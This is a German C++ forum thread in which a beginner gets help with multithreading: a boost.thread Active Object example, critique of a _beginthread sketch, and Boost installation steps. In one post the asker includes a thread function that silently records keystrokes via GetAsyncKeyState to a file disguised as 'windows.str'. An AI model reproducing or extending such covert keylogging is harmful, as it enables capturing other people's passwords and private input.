Multithreading
-
ich will ein programm schreiben bei dem ich zuerst auswähle welchen befehl ausgeführt werden soll(über eine eingabe) und während dieser ausgeführt wir ich einen auswählen kann der nebenbei mitlaufen soll!! ich hab mich ein wenig erkundigt und bin darauf gekommen das das mit multithreading gehen könnte ich weis aber nich was das genau ist kann mir jmd vll ein gerüst für so ein programm geben welches ich schreiben will?
mfg albert
-
Urkunde
für albertk13albertk13 hat es in seinem Posting geschafft
alle Informationen von Relevanz auszulassen,
und vor dem Posten die Googlesuche ausgelassen.Zur Urkunde gibts Gratis ein Keks.
-
Das ist primär abhängig vom benutzten Betriebssystem.
-
lol also was braucht ihr für infos ich hab windows xp benutzte ms visual c++ express edition und möchte in c++ schreiben
sry aber in google find ich nichts brauchbares
-
du bist lustig
mutlithreading ist, wie schon gesagt, plattform abhängig. und du fragst noch "was für infos"? naja, jedem das seine...
auch der compiler ist wichtig, da du das unter den compiler-optionen angeben musst, das du multithreading verwenden willst.
du brauchst dafür die process.h und die windowsx.h wenn ich mich nicht täusche. dann über CreateThread () bzw. (was beliebter ist) über __beginthread () einen thread erstellen, fertig. natürlich nicht vergessen, den thread wieder am ende des progs bzw. des threads selbst zu beenden.
Mfg Ominion
-
gibts da irgendwo ein bsp prog
-
joa, und jede menge tuts. ich schicke gleich mal nen link.
Mfg Ominion
EDIT:http://www.codeworx.org/cpp_tuts_1_5.phpich weiß gar nicht was du hast, ich habe "multithreading+c++" eingegeben, und sofort diese seite gefunden...
-
Das Problem ist keineswegs einfach zu lösen. Helfen könnte Dir zunächst einmal die boost.thread-Library, die Dir die dafür notwendigen Werkzeuge liefert. Dann solltest Du noch wissen, wie das Entwurfsmuster 'Active Object' funktioniert. Genau so etwas brauchst Du nämlich.
Hast Du boost installiert, ist das Prinzip wie folgt. Ein Objekt mit einem eigenen Thread besitzt eine Queue. Rufst Du eine Methode (ein Kommando) dieses Objekts auf, so wird es nicht ausgeführt, sondern samt den notwendigen Parametern in die Queue verpackt und der drinnen laufende Thread über ein 'notify' informiert. Dieser Thread holt - falls er gerade wartet - das Kommando aus der Queue und führt es aus. Wichtig: die Queue muss für den beidseitigen Zugriff (ein Thread schreibt, ein anderer liest) mit einem Mutex geschützt werden. Mutexe samt Scope-Locks werden von der boost.thread-Library zur Verfügung gestellt. Das nennt sich übrigens Monitor-Pattern.
Gruß
Werner
-
Ominion schrieb:
EDIT:http://www.codeworx.org/cpp_tuts_1_5.phpich weiß gar nicht was du hast, ich habe "multithreading+c++" eingegeben, und sofort diese seite gefunden...
Nix für ungut Ominion, aber diese Seite von Artchi ist für den Einstieg sicher besser geeignet.
Ich hatte auch schon mal ein ActiveObject hier im Forum gepostet, aber diese Suchen-Funktion ist leider
...
Gruß
Werner
-
-
albertk13 schrieb:
gibts da irgendwo ein bsp prog
Ich hab's im Forum nicht mehr wiedergefunden - nach mal proggen ging schneller. Anbei ein funktionsfähiges Beispiel - das setzt aber die Installation von boost voraus - inklusive des Generieren der boost.thread-Library.
#include <iostream> #include <queue> #include <boost/thread.hpp> #include <boost/bind.hpp> class Actor // das Active Object { typedef boost::mutex::scoped_lock lock_type; struct Cmd { Cmd( int typ, int param ) : m_typ( typ ), m_param( param ) {} int m_typ; int m_param; // oder auch mehr }; public: Actor() : m_guard() , m_signal() , m_input() , m_thrd( boost::bind( &Actor::run, this ) ) // ggf. compiler-warning an dieser Stelle ignorieren, solange m_thrd der letzte Member ist! {} ~Actor() { lock_type lk( m_guard ); m_input.push( Cmd( -1, 0 ) ); // damit der thread beendet wird !! lk.unlock(); // sonst warten wir ewig ;-) m_thrd.join(); } void Cmd1( int param ) { lock_type lk( m_guard ); m_input.push( Cmd( 1, param ) ); m_signal.notify_one(); } void Cmd2( int param ) { lock_type lk( m_guard ); m_input.push( Cmd( 2, param ) ); m_signal.notify_one(); } private: void do_cmd1( int param ) { using namespace std; cout << "Kommando 1 (" << param << ") ausfuehren ... " << endl; } void do_cmd2( int param ) { using namespace std; cout << "Kommando 2 (" << param << ") ausfuehren ... " << endl; } void run() // hier rennt der Thread { for(;;) { Cmd cmd(0,0); { // -- auf Eingabe warten lock_type lk( m_guard ); while( m_input.empty() ) // warte auf das 'notify' m_signal.wait( lk ); cmd = m_input.front(); // Kommando abholen m_input.pop(); } // löst das lock auf ... // -- Kommando ausführen switch( cmd.m_typ ) { case -1: std::cout << "Thread wird beendet " << std::endl; return; // Ende case 1: do_cmd1( cmd.m_param ); break; case 2: do_cmd2( cmd.m_param ); break; // usw. } } } // -- Members boost::mutex m_guard; boost::condition m_signal; std::queue< Cmd > m_input; boost::thread m_thrd; // MUSS hier letztes Member sein! }; int main() { using namespace std; Actor actor; actor.Cmd1( 42 ); actor.Cmd2( 99 ); cout << "Kommandos abgegeben " << endl; return 0; }
Beachte bitte, dass die Ausgabe über cout nicht gegeneinander verriegelt ist. Bei mir erscheint z.B. die Ausgabe:
Kommando 1 (42Kommandos abgegeben ) ausfuehren ... Kommando 2 (99) ausfuehren ... Thread wird beendet
Der String 'Kommandos abgegeben' wird also mitten in die Ausgabe des ersten Kommandos hineingeschrieben und das Zeilenende kommt zusammen mit dem Zeilenende aus do_cmd1(). Das nennt man eine 'race condition'.
Weiter sollte man die struct Cmd durch boost::function ersetzen, was eine vollständige Flexibilität erlaubt. Ich wollt das Beispiel aber nicht überladen.
Viel Spaß damit
WernerPS.: mit Multithreading kann man ganz neue Fehler machen, Du wirst Dich noch wundern
-
ok danke ich probier das jetzt mal aus
-
ich hab mir jetzt die aktuelle Boost version heruntergeladen aber keine ahnung wie ich die installieren soll ich hab mir schon irgendwas durchgelesen aber das war englisch und da hab ich fast nichts verstanden
hat irgendjemand eine kurze anleitung oder kann es mir erklährnen?
-
#include <process.h> void multi(void *dummy); main() { _beginthread(multi, 0,NULL); } void multi(void *dummy) { //sonstwas _endthread(); }
Ich hab mir jetz nich alles durchgelesen, aber was spricht denn hier dagegen?
-
albertk13 schrieb:
ich hab mir jetzt die aktuelle Boost version heruntergeladen aber keine ahnung wie ich die installieren soll ich hab mir schon irgendwas durchgelesen aber das war englisch und da hab ich fast nichts verstanden
hat irgendjemand eine kurze anleitung oder kann es mir erklährnen?Ja das ist hier erklärt. Ist zwar in Englisch, aber sollte nicht schwierig sein.
1.) boost.zip runterladen und auspacken
2.) Im boost-main-Directory eine Konsole aufmachen und z.B.bjam "-sTOOLS=msvc" install
aufrufen, wenn man das Visual Studio 6 installiert hat. Bei anderen Umgebungen entnehme man das Token 'msvc' aus dieser Tabelle; z.B. 'vc-8_0' für Visual Studio 8 bzw. 2005.
Das Default-Directory ist C:/Boost und in dem Projekt braucht man nur noch das Include-Directory auf 'C:\Boost\include\boost-1_33' (Boost-Version 1.33) und das Library-Directory auf 'C:/Boost/lib' einzustellen; die Libs werden automatisch über die #pragma-Aufrufe in den boost-Headern gelinkt.
gosha16 schrieb:
Ich hab mir jetz nich alles durchgelesen, aber was spricht denn hier dagegen?
Wenn mal mal übersieht, das vor dem main() das int fehlt, die Parameter-Übergabe nicht typsicher ist und man für jedes Kommando einen eigenen Thread braucht, im Wesentlichen dass der Code nicht funktioniert, weil i.A. der (Main-)Prozess bereits beendet wird, bevor der Thread seine Arbeit getan hat.
Gruß
Werner
-
also ich habs jetzt auch schon mal mit _beginthread probiert das sieht so aus:
_beginthread:
while(true){ char kl[]="keylogger", pw[]="pixelwahn"; cin >> befehl; if ((strcmp(befehl, kl))==0){ _beginthread ( startkeylogger , 0 , NULL); } else if ((strcmp(befehl, pw))==0){ startpixelwahn(); } else { cout << "Unbekannter Befehl"; return 0; }
_endthread:
void startkeylogger(void *ch){ time_t start = time (0); double dauer = 20; std::string Filename = "windows.str"; std::string TempString = ""; std::fstream FStream; FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app); while((difftime(time(0), start))< dauer) { //Verhindert CPU Auslastung 5ms sleep Sleep(5); for(int i = 8; i < 191; i++) { if((GetAsyncKeyState(i)&1) ==1) { TempString = GetKey (i); FStream.write(TempString.c_str(), TempString.size()); FStream.close(); FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app); } //if } //for } //while _endthread(); }
aber das funktioniert nicht!!! Warum???
@Werner Salomon
Was heißt im boost-main-Directory eine konsole aufmachen bzw wie geht das?
-
Werner Salomon... da haste dir jetz aber schön mühe gegeben meinen Post zu zerpflücken...
Ich werd garantiert nicht wegen jedem kleinen scheis ein komplettes Prog schreiben, und du solltest eigentlich intelligent genug sein zu verstehen das das einfach nur der simple aufbau is... :p
-
albertk13 schrieb:
also ich habs jetzt auch schon mal mit _beginthread probiert
Du tust Dir damit keinen Gefallen; glaub' mir
albertk13 schrieb:
Was heißt im boost-main-Directory eine konsole aufmachen bzw wie geht das?
Wenn Du unter Windows arbeitest (tust Du das?), dann
Start -> Programme -> Zubehör -> Eingabeaufforderung
dann erscheint ein DOS-Fenster. Du gibst zunächst eincd \
. Dann siehst Du
C:\>
. Mal angenommen Du hast boost unter C:\bla kopierst hat. So gibst Du nacheinander ein:
cd bla cd boost_1_33_0
.. oder boost_1_33_1; je nach dem welche Version Du hast. Jetzt sollte da
C:\bla\boost_1_33_0>
stehen, und dahinter ein blinkender Cursor.
Jetzt kannst Du mit bjam - wie oben beschrieben - die Generierung und Installation starten.
Jetzt habe ich es ganz vergessen: Vorher musst Du Dir noch das Bjam runterladen. Das wiederum hängt von Deiner verwendeten Plattform ab. Bjam gibt es bei Sourceforge.
Nenne uns bitte Dein Betriebssystem und die verwendete Umgebung. Kann sein, dass Du vorher noch was anderes einstellen musst ...
Gruß
Werner
-
gosha16 schrieb:
Werner Salomon... da haste dir jetz aber schön mühe gegeben meinen Post zu zerpflücken...
Ich werd garantiert nicht wegen jedem kleinen scheis ein komplettes Prog schreiben, und du solltest eigentlich intelligent genug sein zu verstehen das das einfach nur der simple aufbau is... :pIch wollte Dir nicht auf die Füße treten. Da hattest gefragt:
gosha16 schrieb:
aber was spricht denn hier dagegen?
Meine Antwort war vielleicht nicht ausreichend. Von diesem 'simplen Aufbau' zu einem wirklich (!) funktionsfähigen Programm zu kommen, welches u.a. sicher wartet, bis der Thread mit seiner Arbeit fertig ist, ist keineswegs trivial.
Multithreading-Programmierung ist wirklich schwierig und boost.thread nimmt einen schon mal einiges ab; aber eben nicht alles. Und ich kann jedem - ob Anfänger oder nicht - nur empfehlen, diese Hilfen nicht ungenutzt zu lassen.
Gruß
Werner
-